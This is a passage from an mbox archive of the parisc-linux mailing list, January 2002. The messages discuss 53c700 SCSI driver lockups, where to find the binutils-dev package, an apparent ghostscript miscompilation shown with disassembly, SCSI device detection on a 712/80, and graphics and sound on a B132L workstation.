SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: QUANTUM   Model: LPS525S           Rev: 3110
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sda: 1023484 512-byte hdwr sectors (524 MB)
Partition check:
 sda: sda1 sda2
---------------------------------
Running 2.4.17-pa6 (Random hangs during startup)

Kernel Parameters:
TERM=linux ip=bootp root=/dev/sda2 console=ttyS0

SCSI subsystem driver Revision: 1.00
53c700: consistent memory allocation failed
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0
scsi0 : LASI SCSI 53c700
  Vendor: QUANTUM   Model: LPS525S           Rev: 3110
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
scsi0: (6:0) Enabling Tag Command Queuing
SCSI device sda: 1023484 512-byte hdwr sectors (524 MB)
Partition check:
 sda: sda1 sda2
---------------------------------

Next I've disabled the 53c700/710 driver, booting from NFS
with init=/bin/sh. The nfsroot was created from the 0.9.3
install plus some apt-get upgrades.

This runs great, tested a few apps (vi,top,du...), ran
a tar/gzip of a few hundred megs.

Then mount -o rw,remount /
Followed by the startup of all daemons.
/etc/init.d/rcS -> Run all /etc/rc.S stuff
/etc/rc2.d -> Run it...

Done. Runs amazingly.

Which does lead me to assume that the 53c700 driver is having
some problems with these machines.

I'm all ears to suggestions, and willing to do some work
to get stuff back on track :)

Where do I go from here? Solid lockups are a new kind of problem
for me...

c.




From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christopher C. Chimelis" <chris@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils: opcodes and bfd
Date: Thu, 10 Jan 2002 14:08:40 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0201101406030.23934-100000@spawn.hockeyfiend.com>
References: <3C3DCF11.19BC5E24@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620945 649 80.91.229.3 (22 Nov 2014 01:49:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:05 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 10 12:15:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spawn.hockeyfiend.com (dsl092-073-086.bos1.dsl.speakeasy.net [66.92.73.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7375482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jan 2002 12:15:11 -0700 (MST)
Original-Received: from chris (helo=localhost)
	by spawn.hockeyfiend.com with local-esmtp (Exim 3.33 #1 (Debian))
	id 16OkZ6-0006Eo-00; Thu, 10 Jan 2002 14:08:40 -0500
X-Sender: chris@spawn.hockeyfiend.com
In-Reply-To: <3C3DCF11.19BC5E24@admin.france.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13666

On Thu, 10 Jan 2002, Bruno Vidal wrote:

> First, thanks for your feedback, now the dump modules is working fine.
> The system is able to dump. But now I need to modify the tool to retrieve
> the dump. But I need bfd and opcode: libbfd.a and libopcode.a. It is part
> of the binutil package. But in the last debian package this two librairies
> are missing.

You need the binutils-dev package installed.  It also contains the .so
symlinks that you may need :-)

At first, I was stunned to read the above since I personally built the
binutils debs on the a500 and uploaded them (I'm the maintainer, btw :-P),
but then realised that you were looking for binutil (no 's') and that's
why you couldn't find it :-)

C




From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FWD: The problematic asm code
Date: Thu, 10 Jan 2002 14:43:38 -0800
Lines: 75
Approved: news@gmane.org
Message-ID: <20020110224338.GK3247@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620945 651 80.91.229.3 (22 Nov 2014 01:49:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:05 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 10 15:43:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEEE1482A
	for <parisc-linux@parisc-linux.org>; Thu, 10 Jan 2002 15:43:55 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id obzfkaaa for parisc-linux@parisc-linux.org; Thu, 10 Jan 2002 15:38:11 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16Onv8-0002wU-00; Thu, 10 Jan 2002 14:43:38 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13667

Torsten, the Debian ghostscript maintainer, has been working on trying
to figure out a weird floating-point related (?) problem with the
ghostscript package on hppa.

Basically, the problem was tracked down to this:
<Bluehorn> (gdb) bt 2
<Bluehorn> #0  gs_distance_transform (dx=0, dy=18, pmat=0xbff01980, pdpt=0xbff01960)
<Bluehorn>     at src/gsmatrix.c:253
<Bluehorn> #1  0x000f53e4 in common_transform (i_ctx_p=0x4067c8,
<Bluehorn>     ptproc=0x3e1562 <__DTOR_END__+22238>,
<Bluehorn>     matproc=0x3e15ba <__DTOR_END__+22326>) at src/zmatrix.c:297
<Bluehorn> tausq: see? dx is zero and dy is 18

<Bluehorn> (gdb) up
<Bluehorn> 297                     code = (*matproc) (opxy[0], opxy[1], pmat, &pt);
<Bluehorn> (gdb) p opxy
<Bluehorn> $15 = {72, 72}

Some disassembly from the code attached. Looks like it's not calling the
function with the right set of registers?

Any ideas?  This might be related to the python2 problem we are seeing
as well...

randolph

----- Forwarded message from Torsten Landschoff <torsten@sarti.debian.org> -----

Date: Thu, 10 Jan 2002 22:21:09 +0000
To: tausq@debian.org
Cc: 122666@bugs.debian.org
Subject: The problematic asm code
From: Torsten Landschoff <torsten@sarti.debian.org>

Hi Randolph, 

This code is generated - I think it is wrong:

                code = (*matproc) (opxy[0], opxy[1], pmat, &pt);
 c30:	34 74 00 50 	ldo 28(r3),r20
 c34:	48 73 00 c0 	ldw 60(sr0,r3),r19
 c38:	6b d3 3f 99 	stw r19,-34(sr0,sp)
 c3c:	34 73 00 40 	ldo 20(r3),r19
 c40:	6b d3 3f 91 	stw r19,-38(sr0,sp)
 c44:	34 13 00 20 	ldi 10,r19
 c48:	2c 73 00 16 	fldd  r19(sr0,r3),fr22
 c4c:	2f c1 12 16 	fstd  fr22,-10(sr0,sp)
 c50:	0f c1 10 99 	ldw  -10(sr0,sp),r25
 c54:	0f c9 10 9a 	ldw  -c(sr0,sp),r26
 c58:	0e 81 10 97 	ldw  -10(sr0,r20),r23
 c5c:	0e 89 10 98 	ldw  -c(sr0,r20),r24
 c60:	48 76 3f a9 	ldw -2c(sr0,r3),r22
 c64:	eb e0 00 00 	b,l c6c <common_transform+0x178>,r31
			c64: R_PARISC_PCREL17F	$$dyncall
 c68:	08 1f 02 42 	copy r31,rp
 c6c:	08 1c 02 53 	copy ret0,r19
 c70:	68 73 00 60 	stw r19,30(sr0,r3)

The source file is src/zmatrix.c from gs-aladdin. Not sure if the 
license would allow pasting it here... Should be the same for gs-6.51, 
but it is harder to build because it includes more stuff so I used
gs-aladdin...

cu
	Torsten

----- End forwarded message -----

-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Anderson <andersop@neverland.ncssm.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/80 - 7cdroms - scsi prbl
Date: Thu, 10 Jan 2002 21:24:23 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201102123200.22257-100000@bob.ncssm.edu>
References: <20020110184532.9876E37D2B@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620946 655 80.91.229.3 (22 Nov 2014 01:49:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:06 +0000 (UTC)
Cc: Sorin Ghinescu <sghinesc@columbus.rr.com>,
	<parisc-linux@lists.parisc-linux.org>
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 10 19:26:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bob.ncssm.edu (bob.ncssm.edu [152.34.37.42])
	by dsl2.external.hp.com (Postfix) with SMTP id 56BE6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jan 2002 19:26:10 -0700 (MST)
Original-Received: (qmail 22805 invoked by uid 20004); 11 Jan 2002 02:24:23 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 11 Jan 2002 02:24:23 -0000
X-X-Sender: <andersop@bob.ncssm.edu>
In-Reply-To: <20020110184532.9876E37D2B@carmen.fc.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13668


I've had this happen too, but it was on a Sun Ultra 30. The problem was
that the computer didn't recognize the CDROM correctly. Trying a different
cdrom may fix the problem... It did for me.

-phil




On Thu, 10 Jan 2002, Matt Taggart wrote:

>
> "Sorin Ghinescu" writes...
>
> > Hi guys,
> > I'm trying to install parisc-linux on 712/80.
> > I don't know if this is actually an OS problem or a hardware problem but
> > you may have experienced it and could help me.
> > I'm booting from my external cd-rom but it seems that the kernel is
> > fooled by something because it creates 7 cd-rom devices for all the scsi
> > targets available leaving no room for the hd. If I switch the cd-rom off
> > then I get 7 hds!
> > Has anyone experienced this?
>
> Check and make sure that none of your scsi ids are conflicting, don't
> forget the controller is at id 7. Also check your cables and termination.
> If it still doesn't work try a different hard drive.
>
>

-- 
===============================================================================

Phil Anderson
UNIX Systems Administrator
andersop@neverland.ncssm.edu
The_13th_Ewok@hotmail.com

"Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson




From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Leippe <nick@byu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] video capabilities?
Date: Thu, 10 Jan 2002 19:59:51 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <02011019595101.17281@nick>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620946 656 80.91.229.3 (22 Nov 2014 01:49:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 10 20:55:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rwcrmhc53.attbi.com (rwcrmhc53.attbi.com [204.127.198.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20CA1482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jan 2002 20:55:51 -0700 (MST)
Original-Received: from nick ([12.234.59.69]) by rwcrmhc53.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP
          id <20020111035544.LJHU10199.rwcrmhc53.attbi.com@nick>
          for <parisc-linux@lists.parisc-linux.org>;
          Fri, 11 Jan 2002 03:55:44 +0000
X-Mailer: KMail [version 1.2]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13669

I have a B132L.  I've successfully got X and KDE
running on it, in 8bpp mode.  I was wondering
how I can find out whether it has the hcrx or vg
graphics so I would know whether it was capable
of 24bpp mode?  And if it can do 24bpp, how would
I switch?

Also, for some reason I can't get any sound out of
it.  I can get garbled clicks out of the speaker,
but mpg123 doesn't play recognizably and artsd
fails to start with an error.


Nick



From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils: opcodes and bfd
Date: Fri, 11 Jan 2002 09:22:25 +0100
Organization: H.P
Lines: 61
Approved: news@gmane.org
Message-ID: <3C3EA0C1.42DDF9E0@admin.france.hp.com>
References: <Pine.LNX.4.21.0201101406030.23934-100000@spawn.hockeyfiend.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------4E6C7175319C2D7313BA78E7"
X-Trace: ger.gmane.org 1416620946 660 80.91.229.3 (22 Nov 2014 01:49:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:06 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 01:24:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id B43E4482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 01:24:29 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id AAFC1ED8
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 09:24:23 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id JAA23674 for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 09:23:51 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13670

This is a multi-part message in MIME format.
--------------4E6C7175319C2D7313BA78E7
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
Sorry, but where can I download binutils-dev. It's not on the iso CDs.
And the link on the debian seems broken, there is nothing under this directory !.
ftp://ftp.debian.org/debian/dists/unstable/main/binary-hppa/
On the debian site, I found only package for i386, not for parisc.

"Christopher C. Chimelis" wrote:
> 
> On Thu, 10 Jan 2002, Bruno Vidal wrote:
> 
> > First, thanks for your feedback, now the dump modules is working fine.
> > The system is able to dump. But now I need to modify the tool to retrieve
> > the dump. But I need bfd and opcode: libbfd.a and libopcode.a. It is part
> > of the binutil package. But in the last debian package this two librairies
> > are missing.
> 
> You need the binutils-dev package installed.  It also contains the .so
> symlinks that you may need :-)
> 
> At first, I was stunned to read the above since I personally built the
> binutils debs on the a500 and uploaded them (I'm the maintainer, btw :-P),
> but then realised that you were looking for binutil (no 's') and that's
> why you couldn't find it :-)
> 
> C
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------4E6C7175319C2D7313BA78E7
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------4E6C7175319C2D7313BA78E7--




From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils: opcodes and bfd
Date: Fri, 11 Jan 2002 09:31:58 +0100
Organization: H.P
Lines: 71
Approved: news@gmane.org
Message-ID: <3C3EA2FE.A515AFF0@admin.france.hp.com>
References: <Pine.LNX.4.21.0201101406030.23934-100000@spawn.hockeyfiend.com> <3C3EA0C1.42DDF9E0@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------9366EBF7DF07DFD66AA8DC0F"
X-Trace: ger.gmane.org 1416620947 661 80.91.229.3 (22 Nov 2014 01:49:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:07 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 01:33:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D71C482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 01:33:58 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 7E386309
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 09:33:56 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id JAA24196 for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 09:33:24 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13671

This is a multi-part message in MIME format.
--------------9366EBF7DF07DFD66AA8DC0F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Got it, I found it under ftp://ftp.fr.debian.org/debian/pool/main/b/binutils

	Thanks all.

Bruno Vidal wrote:
> 
>         Hi
> Sorry, but where can I download binutils-dev. It's not on the iso CDs.
> And the link on the debian seems broken, there is nothing under this directory !.
> ftp://ftp.debian.org/debian/dists/unstable/main/binary-hppa/
> On the debian site, I found only package for i386, not for parisc.
> 
> "Christopher C. Chimelis" wrote:
> >
> > On Thu, 10 Jan 2002, Bruno Vidal wrote:
> >
> > > First, thanks for your feedback, now the dump modules is working fine.
> > > The system is able to dump. But now I need to modify the tool to retrieve
> > > the dump. But I need bfd and opcode: libbfd.a and libopcode.a. It is part
> > > of the binutil package. But in the last debian package this two librairies
> > > are missing.
> >
> > You need the binutils-dev package installed.  It also contains the .so
> > symlinks that you may need :-)
> >
> > At first, I was stunned to read the above since I personally built the
> > binutils debs on the a500 and uploaded them (I'm the maintainer, btw :-P),
> > but then realised that you were looking for binutil (no 's') and that's
> > why you couldn't find it :-)
> >
> > C
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> --
>         Vidal Bruno, (770-4271)
>         SSD-HA Team, HP-UX & LINUX Support
>         bruno_vidal@admin.france.hp.com

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------9366EBF7DF07DFD66AA8DC0F
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------9366EBF7DF07DFD66AA8DC0F--




From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils: opcodes and bfd
Date: Fri, 11 Jan 2002 01:36:31 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20020111083632.082A637D2B@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0201101406030.23934-100000@spawn.hockeyfiend.com>  <3C3EA0C1.42DDF9E0@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620947 664 80.91.229.3 (22 Nov 2014 01:49:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:07 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>,
	taggart@carmen.fc.hp.com
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 01:36:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
